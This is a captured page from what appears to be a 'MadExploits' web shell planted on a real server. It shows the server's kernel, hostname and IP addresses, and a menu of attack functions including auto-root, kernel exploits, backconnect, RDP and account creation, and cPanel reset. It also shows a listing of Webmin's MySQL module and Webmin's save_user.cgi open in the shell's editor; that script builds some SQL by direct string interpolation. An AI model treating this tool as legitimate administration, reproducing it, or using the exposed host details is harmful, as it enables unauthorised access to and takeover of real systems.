Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
mysql /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
8.12
KB
-rw-r--r--
acl_security.pl
4.43
KB
-rwxr-xr-x
backup.pl
4.17
KB
-rwxr-xr-x
backup_config.pl
1.01
KB
-rwxr-xr-x
backup_db.cgi
8.07
KB
-rwxr-xr-x
backup_form.cgi
6.78
KB
-rwxr-xr-x
cgi_args.pl
577
B
-rwxr-xr-x
config
516
B
-rw-r--r--
config-AlmaLinux-7.0-ALL
411
B
-rw-r--r--
config-Amazon-Linux-2-ALL
397
B
-rw-r--r--
config-CentOS-Linux-7.0-ALL
411
B
-rw-r--r--
config-CentOS-Stream-Linux-8.0...
411
B
-rw-r--r--
config-Oracle-Linux-8.0-ALL
411
B
-rw-r--r--
config-Redhat-Enterprise-Linux...
411
B
-rw-r--r--
config-Rocky-Linux-7.0-ALL
411
B
-rw-r--r--
config-Scientific-Linux-7.0-AL...
397
B
-rw-r--r--
config-Ubuntu-Linux-16.04-17.9...
447
B
-rw-r--r--
config-Ubuntu-Linux-18.04-ALL
414
B
-rw-r--r--
config-aix
473
B
-rw-r--r--
config-cobalt-linux
411
B
-rw-r--r--
config-coherent-linux
413
B
-rw-r--r--
config-debian-linux
410
B
-rw-r--r--
config-debian-linux-10.0-ALL
414
B
-rw-r--r--
config-debian-linux-2.2-9.0
430
B
-rw-r--r--
config-freebsd
473
B
-rw-r--r--
config-freebsd-8-ALL
510
B
-rw-r--r--
config-gentoo-linux
407
B
-rw-r--r--
config-mandrake-linux
393
B
-rw-r--r--
config-mandrake-linux-10.1-ALL
395
B
-rw-r--r--
config-msc-linux
415
B
-rw-r--r--
config-netbsd
425
B
-rw-r--r--
config-open-linux
411
B
-rw-r--r--
config-openSUSE-Linux-15.0-ALL
397
B
-rw-r--r--
config-openmamba-linux
411
B
-rw-r--r--
config-pardus-linux
340
B
-rw-r--r--
config-redhat-linux
411
B
-rw-r--r--
config-redhat-linux-24.0
415
B
-rw-r--r--
config-redhat-linux-25.0-ALL
411
B
-rw-r--r--
config-redhat-linux-7.0-23.0
413
B
-rw-r--r--
config-slackware-linux-8.0-ALL
443
B
-rw-r--r--
config-sol-linux
449
B
-rw-r--r--
config-solaris-10
434
B
-rw-r--r--
config-solaris-11-ALL
484
B
-rw-r--r--
config-solaris-9
492
B
-rw-r--r--
config-suse-linux
403
B
-rw-r--r--
config-suse-linux-7.1-ALL
401
B
-rw-r--r--
config-syno-linux
522
B
-rwxr-xr-x
config-trustix-linux
401
B
-rw-r--r--
config-turbo-linux
411
B
-rw-r--r--
config-united-linux
401
B
-rw-r--r--
config-windows
562
B
-rw-r--r--
config.info
1.51
KB
-rw-r--r--
config.info.bg
2.74
KB
-rw-r--r--
config.info.ca
1.7
KB
-rw-r--r--
config.info.cs
1.46
KB
-rw-r--r--
config.info.de
1.62
KB
-rw-r--r--
config.info.es
813
B
-rw-r--r--
config.info.fi
0
B
-rw-r--r--
config.info.fr
1.85
KB
-rw-r--r--
config.info.hu
1.32
KB
-rw-r--r--
config.info.it
1.54
KB
-rw-r--r--
config.info.ja
1.7
KB
-rw-r--r--
config.info.nl
1.67
KB
-rw-r--r--
config.info.no
1.54
KB
-rw-r--r--
config.info.pl
808
B
-rw-r--r--
config.info.pt_BR
1.68
KB
-rw-r--r--
config.info.ru
1.27
KB
-rw-r--r--
config.info.sv
677
B
-rw-r--r--
config.info.tr
1.13
KB
-rw-r--r--
config.info.uk
1.31
KB
-rw-r--r--
config.info.zh
320
B
-rw-r--r--
config.info.zh_TW
891
B
-rw-r--r--
config_info.pl
575
B
-rwxr-xr-x
cpan_modules.pl
84
B
-rwxr-xr-x
create_table.cgi
1.02
KB
-rwxr-xr-x
csv.cgi
2.26
KB
-rwxr-xr-x
csv_form.cgi
1.67
KB
-rwxr-xr-x
defaultacl
85
B
-rw-r--r--
delete_cprivs.cgi
1.15
KB
-rwxr-xr-x
delete_dbs.cgi
1.04
KB
-rwxr-xr-x
delete_fields.cgi
665
B
-rwxr-xr-x
delete_hosts.cgi
1018
B
-rwxr-xr-x
delete_tprivs.cgi
1.1
KB
-rwxr-xr-x
delete_users.cgi
941
B
-rwxr-xr-x
download.cgi
1.07
KB
-rwxr-xr-x
drop_dbase.cgi
1.86
KB
-rwxr-xr-x
drop_dbases.cgi
1.39
KB
-rwxr-xr-x
drop_table.cgi
1.27
KB
-rwxr-xr-x
drop_tables.cgi
1.75
KB
-rwxr-xr-x
edit_cnf.cgi
2.92
KB
-rwxr-xr-x
edit_cpriv.cgi
2.34
KB
-rwxr-xr-x
edit_db.cgi
1.73
KB
-rwxr-xr-x
edit_dbase.cgi
6.46
KB
-rwxr-xr-x
edit_field.cgi
4.99
KB
-rwxr-xr-x
edit_host.cgi
1.48
KB
-rwxr-xr-x
edit_index.cgi
1.83
KB
-rwxr-xr-x
edit_manual.cgi
952
B
-rwxr-xr-x
edit_table.cgi
2.85
KB
-rwxr-xr-x
edit_tpriv.cgi
2.21
KB
-rwxr-xr-x
edit_user.cgi
4.64
KB
-rwxr-xr-x
edit_view.cgi
2.17
KB
-rwxr-xr-x
exec.cgi
1.53
KB
-rwxr-xr-x
exec_file.cgi
2.45
KB
-rwxr-xr-x
exec_form.cgi
3.63
KB
-rwxr-xr-x
import.cgi
1.99
KB
-rwxr-xr-x
index.cgi
10.72
KB
-rwxr-xr-x
install_check.pl
549
B
-rwxr-xr-x
kill_procs.cgi
385
B
-rwxr-xr-x
list_cprivs.cgi
2.21
KB
-rwxr-xr-x
list_dbs.cgi
1.89
KB
-rwxr-xr-x
list_hosts.cgi
1.76
KB
-rwxr-xr-x
list_procs.cgi
1.42
KB
-rwxr-xr-x
list_tprivs.cgi
2.03
KB
-rwxr-xr-x
list_users.cgi
2.73
KB
-rwxr-xr-x
list_vars.cgi
1.72
KB
-rwxr-xr-x
log_parser.pl
3.14
KB
-rwxr-xr-x
login.cgi
819
B
-rwxr-xr-x
module.info
190
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
131
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
211
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
204
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
215
B
-rw-r--r--
module.info.ca
127
B
-rw-r--r--
module.info.ca.auto
14
B
-rw-r--r--
module.info.cs
34
B
-rw-r--r--
module.info.cs.auto
103
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
127
B
-rw-r--r--
module.info.de
127
B
-rw-r--r--
module.info.de.auto
14
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
226
B
-rw-r--r--
module.info.es
40
B
-rw-r--r--
module.info.es.auto
110
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
134
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
198
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
140
B
-rw-r--r--
module.info.fr
43
B
-rw-r--r--
module.info.fr.auto
138
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
167
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
153
B
-rw-r--r--
module.info.hu
35
B
-rw-r--r--
module.info.hu.auto
113
B
-rw-r--r--
module.info.it
33
B
-rw-r--r--
module.info.it.auto
102
B
-rw-r--r--
module.info.ja
43
B
-rw-r--r--
module.info.ja.auto
128
B
-rw-r--r--
module.info.ko
40
B
-rw-r--r--
module.info.ko.auto
128
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
172
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
133
B
-rw-r--r--
module.info.ms
142
B
-rw-r--r--
module.info.ms.auto
14
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
137
B
-rw-r--r--
module.info.nl
30
B
-rw-r--r--
module.info.nl.auto
98
B
-rw-r--r--
module.info.no
29
B
-rw-r--r--
module.info.no.auto
98
B
-rw-r--r--
module.info.pl
34
B
-rw-r--r--
module.info.pl.auto
103
B
-rw-r--r--
module.info.pt
40
B
-rw-r--r--
module.info.pt.auto
116
B
-rw-r--r--
module.info.pt_BR
0
B
-rw-r--r--
module.info.pt_BR.auto
166
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
155
B
-rw-r--r--
module.info.ru
47
B
-rw-r--r--
module.info.ru.auto
165
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
141
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
135
B
-rw-r--r--
module.info.sv
28
B
-rw-r--r--
module.info.sv.auto
104
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
292
B
-rw-r--r--
module.info.tr
35
B
-rw-r--r--
module.info.tr.auto
110
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
210
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
229
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
184
B
-rw-r--r--
module.info.zh
33
B
-rw-r--r--
module.info.zh.auto
92
B
-rw-r--r--
module.info.zh_TW
36
B
-rw-r--r--
module.info.zh_TW.auto
98
B
-rw-r--r--
mysql-lib.pl
51.04
KB
-rwxr-xr-x
newdb.cgi
1.07
KB
-rwxr-xr-x
newdb_form.cgi
1.45
KB
-rwxr-xr-x
postinstall.pl
192
B
-rw-r--r--
prefs.info
69
B
-rw-r--r--
root_form.cgi
855
B
-rwxr-xr-x
save_cnf.cgi
2.82
KB
-rwxr-xr-x
save_cpriv.cgi
2.67
KB
-rwxr-xr-x
save_db.cgi
2.68
KB
-rwxr-xr-x
save_field.cgi
4.72
KB
-rwxr-xr-x
save_host.cgi
2.35
KB
-rwxr-xr-x
save_index.cgi
1.39
KB
-rwxr-xr-x
save_manual.cgi
526
B
-rwxr-xr-x
save_root.cgi
1.04
KB
-rwxr-xr-x
save_sync.cgi
454
B
-rwxr-xr-x
save_tpriv.cgi
2.6
KB
-rwxr-xr-x
save_user.cgi
4.85
KB
-rwxr-xr-x
save_vars.cgi
755
B
-rwxr-xr-x
save_view.cgi
1.84
KB
-rwxr-xr-x
search_form.cgi
1.38
KB
-rwxr-xr-x
start.cgi
218
B
-rwxr-xr-x
stop.cgi
203
B
-rwxr-xr-x
syslog_logs.pl
744
B
-rwxr-xr-x
table_form.cgi
1.95
KB
-rwxr-xr-x
useradmin_update.pl
2.6
KB
-rwxr-xr-x
view-lib.pl
3.56
KB
-rwxr-xr-x
view_table.cgi
15.06
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : save_user.cgi
#!/usr/bin/perl # save_user.cgi # Save, create or delete a user require './mysql-lib.pl'; &ReadParse(); $access{'perms'} == 1 || &error($text{'perms_ecannot'}); if ($in{'delete'}) { # Delete some user &execute_sql_logged($master_db, "delete from user where user = '$in{'olduser'}' ". "and host = '$in{'oldhost'}'"); } else { # Validate inputs &error_setup($text{'user_err'}); $in{'mysqluser_def'} || $in{'mysqluser'} =~ /^\S+$/ || &error($text{'user_euser'}); $in{'host_def'} || $in{'host'} =~ /^\S+$/ || &error($text{'user_ehost'}); if ($in{'mysqlpass_mode'} eq '0' && $in{'mysqlpas'} =~ /\\/) { &error($text{'user_eslash'}); } %perms = map { $_, 1 } split(/\0/, $in{'perms'}); @desc = &table_structure($master_db, 'user'); %fieldmap = map { lc($_->{'field'}), $_->{'index'} } @desc; $host = $in{'host_def'} ? '%' : $in{'host'}; $oldhost = $in{'oldhost'}; $user = $in{'mysqluser_def'} ? '' : $in{'mysqluser'}; $olduser = defined($in{'olduser'}) ? $in{'olduser'} : $user; @pfields = map { $_->[0] } &priv_fields('user'); my @ssl_field_names = &ssl_fields(); my @ssl_field_values = map { '' } @ssl_field_names; my @other_field_names = &other_user_fields(); my @other_field_values = map { '' } @other_field_names; my ($ver, $variant) = &get_remote_mysql_variant(); my $plugin = &get_mysql_plugin(1); # Create a new user if ($in{'new'}) { &create_user({ 'user', $olduser, 'pass', $in{'mysqlpass'}, 'host', $host, 'perms', \%perms, 'pfields', \@pfields, 'ssl_field_names', \@ssl_field_names, 'ssl_field_values', \@ssl_field_values, 'other_field_names', \@other_field_names, 'other_field_values', \@other_field_values, }); } # Update an existing user else { # Rename user and/or host, if requested my $changing_user = ($user ne $olduser); my $changing_host = ($host ne $oldhost); if ($changing_user || $changing_host) { &rename_user({ 'user', $user, 'olduser', $olduser, 'host', $host, 'oldhost', $oldhost, }); $olduser = $user if ($changing_user); $oldhost = $host if ($changing_host); } # Update user password, if requested if ($in{'mysqlpass_mode'} == 4) { # Never used for admin accounts &change_user_password(undef, $olduser, $oldhost); } elsif ($in{'mysqlpass_mode'} != 1) { ($in{'mysqlpass_mode'} eq '0' && !$in{'mysqlpass'}) && &error($text{'root_epass1'}); my $pass = $in{'mysqlpass'} || ''; &change_user_password($pass, $olduser, $oldhost); } &update_privileges({ 'user', $olduser, 'host', $oldhost, 'perms', \%perms, 'pfields', \@pfields }); } # Save various limits my %mdb104_diff = ('max_connections', 'max_connections_per_hour', 'max_questions', 'max_queries_per_hour', 'max_updates', 'max_updates_per_hour'); foreach $f ('max_user_connections', 'max_connections', 'max_questions', 'max_updates') { next if (&compare_version_numbers($ver, 5) < 0 || !defined($in{$f.'_def'})); $in{$f.'_def'} || $in{$f} =~ /^\d+$/ || &error($text{'user_e'.$f}); if ($variant eq "mariadb" && &compare_version_numbers($ver, "10.4") >= 0) { my $f_tbl_diff = $mdb104_diff{$f} || $f; &execute_sql_logged($mysql::master_db, "alter user '$olduser'\@'$oldhost' with $f_tbl_diff " .($in{$f.'_def'} ? 0 : $in{$f}).""); } else { &execute_sql_logged($master_db, "update user set $f = ? ". "where user = ? and host = ?", $in{$f.'_def'} ? 0 : $in{$f}, $olduser, $oldhost); } } # Set SSL fields if ($variant eq "mariadb" && &compare_version_numbers($ver, "10.4") >= 0) { if ($in{'ssl_type'} =~ /^(NONE|SSL|X509)$/) { &execute_sql_logged($mysql::master_db, "alter user '$olduser'\@'$oldhost' require $in{'ssl_type'}"); } } else { if (&compare_version_numbers($ver, 5) >= 0 && defined($in{'ssl_type'}) && (!$in{'new'} || $in{'ssl_type'} || $in{'ssl_cipher'})) { &execute_sql_logged($master_db, "update user set ssl_type = ? ". "where user = ? and host = ?", $in{'ssl_type'}, $olduser, $oldhost); &execute_sql_logged($master_db, "update user set ssl_cipher = ? ". "where user = ? and host = ?", $in{'ssl_cipher'}, $olduser, $oldhost); } } } &execute_sql_logged($master_db, 'flush privileges'); # Log actions if ($in{'delete'}) { &webmin_log("delete", "user", $in{'olduser'}, { 'user' => $in{'olduser'}, 'host' => $in{'oldhost'} } ); } elsif ($in{'new'}) { &webmin_log("create", "user", $in{'mysqluser_def'} ? '' : $in{'mysqluser'}, { 'user' => $in{'mysqluser_def'} ? '' : $in{'mysqluser'}, 'host' => $in{'host_def'} ? '' : $in{'host'} } ); } else { &webmin_log("modify", "user", $in{'mysqluser_def'} ? '' : $in{'mysqluser'}, { 'user' => $in{'mysqluser_def'} ? '' : $in{'mysqluser'}, 'host' => $in{'host_def'} ? '' : $in{'host'} } ); } &redirect("list_users.cgi");
Close